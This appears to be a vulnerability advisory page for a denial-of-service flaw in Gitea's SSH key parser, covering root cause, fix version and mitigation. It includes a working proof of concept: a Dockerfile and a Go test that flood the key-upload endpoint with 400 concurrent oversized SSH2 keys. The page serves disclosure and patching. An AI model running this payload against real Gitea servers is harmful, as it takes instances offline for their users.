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MEDIUM severity

CVE-2026-56657 — gitea

MEDIUMFix: go-gitea/gitea@de4b827

CVE-2026-56657 is a medium-severity (CVSS 6.2) CWE-284 vulnerability in code.gitea.io/gitea. A fix is available for code.gitea.io/gitea — see the affected versions and patch details below.

Gitea SSH Key Parser Denial of Service

Also known asGHSA-4xjf-493q-98p3GO-2026-6042
Published
Updated
Affected
2 pkgs
Patched
2 / 2
Exploits
None indexed
Exploitation data as of Oct 28, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-56657.

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs7th percentile — riskier than 7% of all scored CVEsHighest risk
0.00%0.24%0.49%0.73%0.2%0.2%0.2%Sep 26Oct 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

CVE-2026-56657 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 396,966 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

2 pkgs affected
🐹code.gitea.io/gitea🐹gitea.dev

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Gitea's SSH key ingestion endpoint accepts keys in RFC 4716 (SSH2) format and normalises them before storage. The normalisation function contains an O(N²) string concatenation loop with no input size limit, meaning a single malicious key submission can force the server to perform an amount of work that grows quadratically with the size of the input. Any authenticated user can exploit this to exhaust the server's CPU and memory, taking the instance offline.

Root Cause

An attacker sends a POST /api/v1/user/keys request with a Bearer token and a JSON body whose key field contains a malicious RFC 4716 (SSH2) public key. The key consists of a valid SSH2 header followed by a very large number of short content lines — for example, 400,000 lines of 100 characters each (~38 MB total).

The request reaches CreateUserPublicKey with no prior size check:

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/api/v1/user/key.go#L201-L212

This calls CheckPublicKeyString which immediately calls parseKeyString. Inside parseKeyString, the SSH2 branch splits the input on newlines and accumulates the key body one line at a time using keyContent += line:

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/models/asymkey/ssh_key_parse.go#L60-L79

Because Go strings are immutable, each += at line 77 allocates a new backing array and copies the entire accumulated string into it. For N lines the total bytes copied is N*(N+1)/2, making the operation O(N²) in both time and allocations. The validity of the key is only checked after the loop completes, so the entire quadratic work is performed regardless of whether the input is a real SSH key.

This is only possible because neither the web form field nor the API struct carries a size constraint:

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/forms/user_form.go#L308-L317

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/modules/structs/repo_key.go#L33-L49

PoC

To reproduce, clone gitea and checkout commit 9155a81b9daf1d46b2380aa91271e623ac947c1e. Then create the following files from the gitea root directory:

poc/Dockerfile

FROM golang:1.26-alpine AS builder

RUN apk add --no-cache git build-base

WORKDIR /gitea

# Download deps in a separate layer so rebuilds are fast after source changes.
COPY go.mod go.sum ./
RUN go mod download

# Copy full source (needed for fixtures, config templates, and compilation).
COPY . .

# Compile the integration test binary.
# modernc sqlite (pure Go, no CGO needed) is the default driver.
RUN CGO_ENABLED=0 go test -c \
      -o /integration.test \
      gitea.dev/tests/integration

# ── runtime image ────────────────────────────────────────────────────────────
FROM alpine:3.22

# git is required at runtime: the test framework initialises git repos.
RUN apk add --no-cache git

COPY --from=builder /integration.test /integration.test
# Keep the full source at /gitea so runtime.Caller(0) path resolution works
# and fixtures / config templates are accessible.
COPY --from=builder /gitea /gitea

RUN adduser -D -u 1000 poc && chown -R poc:poc /gitea

WORKDIR /gitea

USER poc

ENTRYPOINT ["/integration.test", \
            "-test.run", "TestDoSSSHKeyParserOOM", \
            "-test.v", \
            "-test.timeout", "600s"]

tests/integration/poc_dos_test.go

package integration

import (
	"fmt"
	"runtime"
	"runtime/debug"
	"strings"
	"sync"
	"sync/atomic"
	"testing"
	"time"

	auth_model "gitea.dev/models/auth"
	api "gitea.dev/modules/structs"
	"gitea.dev/tests"
)

func TestDoSSSHKeyParserOOM(t *testing.T) {
	defer tests.PrepareTestEnv(t)()

	// Raise the GC trigger so intermediate strings accumulate faster,
	// matching realistic server behaviour under sustained allocation load.
	debug.SetGCPercent(400)

	// Log in as an ordinary user — no special privileges needed.
	session := loginUser(t, "user1")
	token := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopeWriteUser)

	const (
		numLines     = 400_000
		charsPerLine = 100
		numWorkers   = 400
	)

	var sb strings.Builder
	sb.WriteString("---- BEGIN SSH2 PUBLIC KEY ----\n")
	sb.WriteString("Comment: dos\n")
	line := strings.Repeat("a", charsPerLine) + "\n"
	for i := 0; i < numLines; i++ {
		sb.WriteString(line)
	}
	sb.WriteString("---- END SSH2 PUBLIC KEY ----\n")
	payload := sb.String()

	peakGB := float64(numWorkers) * 2 * float64(numLines) * float64(charsPerLine) / (1 << 30)
	t.Logf("payload=%.1f MB  workers=%d  peak_theory=%.1f GB",
		float64(len(payload))/(1<<20), numWorkers, peakGB)

	// Each goroutine marshals its own JSON body. The bytes live in req.Body
	// for the entire duration of MakeRequest, so numWorkers concurrent
	// goroutines hold numWorkers × payload_size bytes simultaneously.
	// With numWorkers=400 and payload=38.5 MB: 400 × 38.5 MB = 15.4 GB → OOM.
	var (
		wg    sync.WaitGroup
		done  atomic.Int64
		ready = make(chan struct{})
		start = time.Now()
	)

	for i := 0; i < numWorkers; i++ {
		wg.Add(1)
		go func(id int) {
			defer func() { done.Add(1); wg.Done() }()
			<-ready

			req := NewRequestWithJSON(t, "POST", "/api/v1/user/keys", api.CreateKeyOption{
				Title: fmt.Sprintf("dos-%d", id),
				Key:   payload,
			}).AddTokenAuth(token)

			MakeRequest(t, req, NoExpectedStatus)
		}(i)
	}

	go func() {
		var ms runtime.MemStats
		ticker := time.NewTicker(5 * time.Second)
		defer ticker.Stop()
		for range ticker.C {
			runtime.ReadMemStats(&ms)
			t.Logf("[%4.0fs] done=%d/%d  HeapSys=%.1f GB  HeapAlloc=%.1f GB",
				time.Since(start).Seconds(), done.Load(), numWorkers,
				float64(ms.HeapSys)/(1<<30), float64(ms.HeapAlloc)/(1<<30))
		}
	}()

	close(ready)
	wg.Wait()
	t.Logf("all done in %.1fs — container survived, increase numWorkers or numLines",
		time.Since(start).Seconds())
}

When you run the Dockerfile, it should OOM, however this is highly dependent on the host machine. On my end, I do the following:

docker build -t gitea-dos-poc -f poc/Dockerfile .
docker run --rm --memory=12g --memory-swap=12g gitea-dos-poc

Which prints out:

=== TestDoSSSHKeyParserOOM (tests/integration/poc_dos_test.go:35)
    testlogger.go:62: 2026/06/02 14:37:40 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /gitea/tests/gitea-lfs-meta
    testlogger.go:62: 2026/06/02 14:37:40 HTTPRequest [I] router: completed POST /user/login for test-mock:12345, 303 See Other in 29.9ms @ auth/auth.go:284(auth.SignInPost)
    testlogger.go:62: 2026/06/02 14:37:41 HTTPRequest [I] router: completed POST /user/settings/applications for test-mock:12345, 303 See Other in 17.8ms @ setting/applications.go:36(setting.ApplicationsPost)
    poc_dos_test.go:62: payload=38.5 MB  workers=400  peak_theory=29.8 GB

... demonstrating high memory consumption. On my end, memory is consumed within 1 second.

Affected Packages

2 total 2 fixed
EcosystemPackageVulnerable rangeFix
🐹Gocode.gitea.io/giteaall versions1.27.0go get code.gitea.io/gitea@v1.27.0
🐹Gogitea.devall versions1.27.0go get gitea.dev@v1.27.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for code.gitea.io/gitea, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update code.gitea.io/gitea to 1.27.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-56657 is resolved across your whole dependency graph.

  3. Workarounds

    Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatModerate

This is a Moderate impact denial of Service vulnerability in the Gitea SSH key parser. Red Hat products are not affected as they do not expose any endpoint that ingest SSH key using Gitea. Products that import from code.gitea.io/gitea only compile the modules/structs and modules/json subpackages.

Workaround published by Red Hat
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.
Source: Red Hat security advisory for CVE-2026-56657 (CC BY 4.0)

Frequently Asked Questions

Gitea's SSH key ingestion endpoint accepts keys in RFC 4716 (SSH2) format and normalises them before storage. The normalisation function contains an O(N²) string concatenation loop with no input size limit, meaning a single malicious key submission can force the server to perform an amount of work that grows quadratically with the size of the input. Any authenticated user can exploit this to exhaust the server's CPU and memory, taking the instance offline. ### Root Cause An attacker sends a POST /api/v1/user/keys request with a Bearer token and a JSON body whose key field contains a maliciou
O3 Security · Impact-Aware SCA

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CVE-2026-56657: gitea DoS — Fixed in 1.27.0